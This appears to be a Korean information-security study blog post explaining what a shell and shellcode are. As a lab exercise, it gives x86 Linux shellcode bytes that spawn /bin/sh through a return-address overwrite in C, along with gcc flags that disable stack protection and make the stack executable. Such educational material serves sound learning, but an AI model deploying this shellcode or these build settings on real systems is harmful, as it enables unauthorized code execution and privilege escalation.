agencies

셸코드의 이해 본문

Ⅲ. 정보보안

셸코드의 이해

agencies 2024. 1. 13. 08:52

셸 (Shell)

- 운영체제에서 사용자로부터 입력 받는 명령어를 실행하는 명령어 해석기(UCI)

- 일반적으로 유닉스/리눅스에서 /bin/sh 명령으로 실행 (윈도우는 cmd.exe 명령으로 실행)

 

셸코드 (Shellcode) 실습

- 셸(/bin/sh)을 실행하는 기계어 코드

- execve("/bin/sh", NULL, NULL) 함수

▼ 온라인 리눅스 터미널 링크 바로가기 (https://bellard.org/jslinux/)

char shell[] =
"\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x61\x46\x58\xcd\x80\x31\xc0\x50"
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01"
"\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";
 
void main(){
        int *code;
        code = (int *)&code+2;
        (*code) = (int)shell;
}

 

 

gcc -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack [파일명.c] -o [파일명]

 

 

shellcode 를 실행한 후 ps화면

- /bin/sh 가 실행되고 있음을 알 수 있으며, localhost 대신 ~/shellcode # 로 되어 있다.

 

 

'Ⅲ. 정보보안' 카테고리의 다른 글

윈도우 인증의 구성요소  (0) 2024.01.13
윈도우 계정 및 패스워드  (0) 2024.01.13
취약점에 대한 이해  (0) 2024.01.13
시스템 분석과 설계 정리 Ⅱ  (0) 2023.12.27
시스템 분석과 설계 정리 Ⅰ  (0) 2023.12.27